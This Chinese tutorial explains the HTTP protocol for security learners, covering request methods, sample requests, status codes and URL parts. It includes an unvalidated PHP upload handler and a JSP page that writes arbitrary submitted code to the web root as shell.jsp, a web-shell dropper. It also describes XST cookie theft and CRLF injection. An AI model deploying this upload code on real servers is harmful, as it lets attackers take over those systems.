http 协议详解
Posted 信安之路
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了http 协议详解相关的知识,希望对你有一定的参考价值。
文章来源:RTIS 雏鹰进阶之路 小伙伴 Anthem 第一周的总结,hl0rey 对其进行了扩展,更多小伙伴的总结尽在 知识星球
HTTP 协议,即超文本传输协议 (Hypertext transfer protocol)。 是一种详细规定了浏览器和万维网 (WWW = World Wide Web) 服务器之间互相通信的规则,通过因特网传送万维网文档的数据传送协议
HTTP协议的特点就不好再赘述了
中文RFC文档:[超文本传输协议--HTTP1.0]
http://man.chinaunix.net/develop/rfc/RFC1945.txt
HTTP 的请求方法
一个 HTTP 请求结构
HTTP1.0 的请求方法
GET 方法
请求指定的页面信息,并返回实体主体。
GET /search?hl=zh-CN&source=hp&q=domety&aq=f&oq= HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, application/x-silverlight, application/x-shockwave-flash, */*
Referer: <a href="http://www.google.cn/">http://www.google.cn/</a>
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; TheWorld)
Host: <a href="http://www.google.cn">www.google.cn</a>
Connection: Keep-Alive
Cookie: PREF=ID=80a06da87be9ae3c:U=f7167333e2c3b714:NW=1:TM=1261551909:LM=1261551917:S=ybYcq2wpfefs4V9g;
NID=31=ojj8d-IygaEtSxLgaJmqSjVhCspkviJrB6omjamNrSm8lZhKy_yMfO2M4QMRKcH1g0iQv9u-2hfBW7bUFwVh7pGaRUb0RnHcJU37y-
FxlRugatx63JLv7CWMD6UB_O_r
http://www.google.cn/search?hl=zh-CN&source=hp&q=domety&aq=f&oq=
一个形象的比喻:
HTTP 报文和 HTTP 实体的关系就像订单信息和具体的订单货物一样。
HTTP 报文是一个提供 http 头信息和主体的请求或响应,类似一个订单拥有订单的各种信息。
而 HTTP 实体就像订单的具体货物一样,他本身就持有头部和主体的信息,他是传输中真正传输的数据,和订单中传输的是订单商品一样。
实体 entity 是请求或响应的有效承载信息。Http报头分为通用报头,请求报头,响应报头和实体报头。实体包头加上实体就是实体信息 GET 方法是获取服务器某一资源的方法。
POST 方法
向服务器发送数据。
对于上面提到的不适合使用 GET 方式的情况,可以考虑使用 POST 方式,因为使用 POST 方法可以允许客户端给服务器提供信息较多。POST 方法将请求参数封装在 HTTP 请求数据中,以名称/值的形式出现,可以传输大量数据,这样 POST 方式对传送的数据大小没有限制,而且也不会显示在 URL 中。还以上面的搜索 domety 为例,如果使用 POST 方式的话,格式如下:
POST /search HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, application/x-silverlight, application/x-shockwave-flash, */*
Referer: <a href="http://www.google.cn/">http://www.google.cn/</a>
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; TheWorld)
Host: <a href="http://www.google.cn">www.google.cn</a>
Connection: Keep-Alive
Cookie: PREF=ID=80a06da87be9ae3c:U=f7167333e2c3b714:NW=1:TM=1261551909:LM=1261551917:S=ybYcq2wpfefs4V9g;
NID=31=ojj8d-IygaEtSxLgaJmqSjVhCspkviJrB6omjamNrSm8lZhKy_yMfO2M4QMRKcH1g0iQv9u-2hfBW7bUFwVh7pGaRUb0RnHcJU37y-
FxlRugatx63JLv7CWMD6UB_O_r
hl=zh-CN&source=hp&q=domety
可以看到,POST 方式请求行中不包含数据字符串,这些数据保存在”请求内容”部分,各数据之间也是使用 ”&” 符号隔开。POST 方式大多用于页面的表单中。因为 POST 也能完成 GET 的功能,因此多数人在设计表单的时候一律都使用 POST 方式,其实这是一个误区。GET 方式也有自己的特点和优势,我们应该根据不同的情况来选择是使用 GET 还是使用 POST。
HEAD 方法
请求服务器返回响应头部,不返回实体。这就是和 GET 方法的区别。
HEAD 就像 GET,只不过服务端接受到 HEAD 请求后只返回响应头,而不会发送响应内容。当我们只需要查看某个页面的状态的时候,使用 HEAD 是非常高效的,因为在传输的过程中省去了页面内容。
GET 请求的标准格式
GET /develop/rfc/default.htm HTTP/1.1
Host: man.chinaunix.net
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
请求行
GET /develop/rfc/default.htm HTTP/1.1
请求头部
Host: man.chinaunix.net
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
用POST上传文件
php 文件上传代码, fileupload.html
<form action="fileupload.php" enctype="multipart/form-data" method="post" name="uploadfile">uploadfile:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
fileupload.php
<?php
move_uploaded_file($_FILE['file']['tmp_name'],$upfile['name']);
?>
java 文件上传代码
uploadfile.html
<form name=get method=post>
服务端地址<input name=url size=110 type=text> <br><br><textarea name=t rows=20 cols=120>
你提交的代码</textarea><br>
保存成的文件名:<input name=f size=30 value=shell.jsp>
<input type=button onclick="javascript:get.action=document.get.url.value;get.submit()" value=提交> </form>
uploadfile.jsp
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
HTTP1.1 新增的请求方法
HTTP1.1 新增了五种请求方法: OPTIONS, PUT, DELETE,TRACE 和 CONNECT 方法的基本概念
OPTIONS 方法
没有找到合适的测试, OPTIONS 它用于获取当前 URL 所支持的方法。若请求成功,则它会在 HTTP 头中包含一个名为 “Allow” 的头,值是所支持的方法,如 “GET, POST”。
1、获取服务器支持的 HTTP 请求方法;也是黑客经常使用的方法。
2、用来检查服务器的性能。例如:AJAX 进行跨域请求时的预检,需要向另外一个域名的资源发送一个 HTTP OPTIONS 请求头,用以判断实际发送的请求是否安全。
OPTIONS / HTTP/1.1
Host: www.myh0st.cn
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
PUT 方法
向指定资源位置上传其最新内容。
DELETE 方法
请求服务器删除Request-URI所标识的资源。
TRACE 方法
回显服务器收到的请求,主要用于测试或诊断。
CONNECT 方法
HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
HTTP 的状态码
HTTP 状态码的分类
HTTP 状态码规范
http://blog.csdn.net/diandianxiyu_geek/article/details/50373195
HTTP 状态码的作用
获取请求的返回结果和原因
常见的 HTTP 状态码
1** 信息,服务器收到请求,需要请求者继续执行操作
100 Continue 继续。客户端应继续其请求
101 Switching Protocols 切换协议。服务器根据客户端的请求切换协议。只能切换到更高级的协议,例如,切换到HTTP的新版本协议
2** 成功,操作被成功接收并处理
200 OK 请求成功。一般用于GET与POST请求
201 Created 已创建。成功请求并创建了新的资源
202 Accepted 已接受。已经接受请求,但未处理完成
203 Non-Authoritative Information 非授权信息。请求成功。但返回的meta信息不在原始的服务器,而是一个副本
204 No Content 无内容。服务器成功处理,但未返回内容。在未更新网页的情况下,可确保浏览器继续显示当前文档
205 Reset Content 重置内容。服务器处理成功,用户终端(例如:浏览器)应重置文档视图。可通过此返回码清除浏览器的表单域
206 Partial Content 部分内容。服务器成功处理了部分GET请求
3** 重定向,需要进一步的操作以完成请求
301 Moved Permanently 永久移动。请求的资源已被永久的移动到新URI,返回信息会包括新的URI,浏览器会自动定向到新URI。今后任何新的请求都应使用新的URI代替
302 Found 临时移动。与301类似。但资源只是临时被移动。客户端应继续使用原有URI
304 Not Modified 未修改。所请求的资源未修改,服务器返回此状态码时,不会返回任何资源。客户端通常会缓存访问过的资源,通过提供一个头信息指出客户端希望只返回在指定日期之后修改的资源
305 Use Proxy 使用代理。所请求的资源必须通过代理访问
306 Unused 已经被废弃的HTTP状态码
307 Temporary Redirect 临时重定向。与302类似。使用GET请求重定向
4** 客户端错误,请求包含语法错误或无法完成请求
400 Bad Request 客户端请求的语法错误,服务器无法理解
401 Unauthorized 请求要求用户的身份认证
402 Payment Required 保留,将来使用
403 Forbidden 服务器理解请求客户端的请求,但是拒绝执行此请求
404 Not Found 服务器无法根据客户端的请求找到资源(网页)。通过此代码,网站设计人员可设置"您所请求的资源无法找到"的个性页面
405 Method Not Allowed 客户端请求中的方法被禁止
406 Not Acceptable 服务器无法根据客户端请求的内容特性完成请求
407 Proxy Authentication Required 请求要求代理的身份认证,与401类似,但请求者应当使用代理进行授权
408 Request Time-out 服务器等待客户端发送的请求时间过长,超时
409 Conflict 服务器完成客户端的PUT请求是可能返回此代码,服务器处理请求时发生了冲突
410 Gone 客户端请求的资源已经不存在。410不同于404,如果资源以前有现在被永久删除了可使用410代码,网站设计人员可通过301代码指定资源的新位置
411 Length Required 服务器无法处理客户端发送的不带Content-Length的请求信息
412 Precondition Failed 客户端请求信息的先决条件错误
413 Request Entity Too Large 由于请求的实体过大,服务器无法处理,因此拒绝请求。为防止客户端的连续请求,服务器可能会关闭连接。如果只是服务器暂时无法处理,则会包含一个Retry-After的响应信息
414 Request-URI Too Large 请求的URI过长(URI通常为网址),服务器无法处理
415 Unsupported Media Type 服务器无法处理请求附带的媒体格式
416 Requested range not satisfiable 客户端请求的范围无效
417 Expectation Failed 服务器无法满足Expect的请求头信息
5** 服务器错误,服务器在处理请求的过程中发生了错误
500 Internal Server Error 服务器内部错误,无法完成请求
501 Not Implemented 服务器不支持请求的功能,无法完成请求
502 Bad Gateway 充当网关或代理的服务器,从远端服务器接收到了一个无效的请求
503 Service Unavailable 由于超载或系统维护,服务器暂时的无法处理客户端的请求。延时的长度可包含在服务器的Retry-After头信息中
504 Gateway Time-out 充当网关或代理的服务器,未及时从远端服务器获取请求
505 HTTP Version not supported 服务器不支持请求的HTTP协议的版本,无法完成处理
python获取HTTP 请求状态码
python3
import requests
res=requests.get("https://www.baidu.com")
print(res.status_code)
HTTP 协议响应头信息
HTTP 响应头的含义
常见的 HTTP 响应头和请求头
https://www.cnblogs.com/honghong87/articles/6941436.html
HTTP 响应头的类型
http://www.runoob.com/http/http-header-fields.html
HTTP 协议中的 URL
HTTP 使用统一资源标识符(Uniform Resource Identifiers, URI)来传输数据和建立连接。URL 是一种特殊类型的 URI,包含了用于查找某个资源的足够的信息
http://www.aspxfans.com:8080/news/index.asp?boardID=5&ID=24618&page=1#name
从上面的 URL 可以看出,一个完整的 URL 包括以下几部分:
1、协议部分:该 URL 的协议部分为 “http:”,这代表网页使用的是 HTTP 协议。在 Internet 中可以使用多种协议,如 HTTP,FTP 等等本例中使用的是 HTTP 协议。在 "HTTP" 后面的 “//” 为分隔符
3、端口部分:跟在域名后面的是端口,域名和端口之间使用 “:” 作为分隔符。端口不是一个 URL 必须的部分,如果省略端口部分,将采用默认端口
4、虚拟目录部分:从域名后的第一个 “/” 开始到最后一个 “/” 为止,是虚拟目录部分。虚拟目录也不是一个 URL 必须的部分。本例中的虚拟目录是 “/news/”
5、文件名部分:从域名后的最后一个 “/” 开始到 “?” 为止,是文件名部分,如果没有“?”,则是从域名后的最后一个“/”开始到“#”为止,是文件部分,如果没有 “?” 和 “#”,那么从域名后的最后一个 “/” 开始到结束,都是文件名部分。本例中的文件名是 “index.asp”。文件名部分也不是一个 URL 必须的部分,如果省略该部分,则使用默认的文件名
6、锚部分:从 “#” 开始到最后,都是锚部分。本例中的锚部分是 “name”。锚部分也不是一个 URL 必须的部分
所以注入 SQL 语句的时候,需要将 # 进行 url 编码,否则会被当成锚点处理。
7、参数部分:从 “?” 开始到 “#” 为止之间的部分为参数部分,又称搜索部分、查询部分。本例中的参数部分为 “boardID=5&ID=24618&page=1”。参数可以允许有多个参数,参数与参数之间用 “&” 作为分隔符。
http://blog.csdn.net/ergouge/article/details/8185219
URL 和 URI 的区别
URI,是 (uniform resource identifier),统一资源标识符,用来唯一的标识一个资源。
Web 上可用的每种资源如 HTML 文档、图像、视频片段、程序等都是一个来 URI 来定位的
URI 一般由三部组成:
①访问资源的命名机制
②存放资源的主机名
③资源自身的名称,由路径表示,着重强调于资源。
URL 是 uniform resource locator,统一资源定位器,它是一种具体的 URI,即 URL 可以用来标识一个资源,而且还指明了如何 locate 这个资源。
URL一般由三部组成:
①协议(或称为服务方式)
URN,uniform resource name,统一资源命名,是通过名字来标识资源,比如 mailto:java-net@java.sun.com。
URI 是以一种抽象的,高层次概念定义统一资源标识,而 URL 和 URN 则是具体的资源标识的方式。
URL 和 URN 都是一种 URI。
笼统地说,每个 URL 都是 URI,但不一定每个 URI 都是 URL。
这是因为 URI 还包括一个子类,即统一资源名称 (URN),它命名资源但不指定如何定位资源。上面的 mailto、news 和 isbn URI 都是 URN 的示例。
通常来说,一个 URI 实例可以代表绝对的,也可以是相对的,只要它符合 URI 的语法规则。而 URL 类则不仅符合语义,还包含了定位该资源的信息,因此它不能是相对的。
URI 类不包含任何访问资源的方法,它唯一的作用就是解析。
相反的是,URL 类可以打开一个到达资源的流。
HTTP2.0 新事物
HTTP2.0 那些事
http://www.mamicode.com/info-detail-1199706.html
HTTP XST 攻击与 trace 方法
1、绕过 http-only 对 XSS 攻击的限制
2、TRACE 请求会让服务器返回请求内容。
xst 主要是使用 http 的 trace 方法,该方法会返回浏览器发给服务器的所有请求信息,但该方法不能带 body,主要是利于 debug。现在前端后端都做了很多 xst 攻击的措施,很难在浏览器端发起 trace 请求了,所以只能用 fiddler 模拟一下,服务器是 wamp,支持 trace 方法。
该攻击主要是在网站存在 xss 漏洞但设置了 cookie 的 httponly 属性的时候结合 trace 方法进行攻击。如果某网站存在 xss 漏洞,那比如用户点击 a 标签会执行一段脚本,那么该脚本可以异步发起一个 trace 请求,因为是同域,所以会带上 cookie,然后服务器会把浏览器请求的信息全部返回来,其中包括 cookie,我们可以在回调函数里解析然后上传到我们的服务器上去。
使用 python requests 库花式发送 http 请求
如果使用 python 的比较底层的 HTTP 请求库还能 fuzzing
import requests
#只支持这五种
requests.get("https://www.baidu.com")
requests.post("https://www.baidu.com")
requests.put("https://www.baidu.com")
requests.delete("https://www.baidu.com")
requests.options("https://www.baidu.com")
Web DAV
(Web-based Distributed Authoring and Versioning)
一句话原理就是,服务器允许put方法,相当与有了写权限.Web Dav 的安全配置相关与漏洞利用
http://blog.csdn.net/u014270687/article/details/45798227
kali 中有 dave 和 davtest 两个工具利用 dav 漏洞,python 也可以,不必执着于某个工具,达到目的就好
CRLF 注入攻击
CRLF 就是 \r\n,也就是响应头的分割符
一句话原理就是,web 程序使用了用户输入作为相应头,且过滤不严,导致我们可以注入 CRLF 来分割 http 响应.
几个例子:
http://blog.csdn.net/gstormspire/article/details/8183598
http://blog.csdn.net/mgxcool/article/details/73028346
http://blog.csdn.net/rainZuoShao/article/details/9088575
以上是关于http 协议详解的主要内容,如果未能解决你的问题,请参考以下文章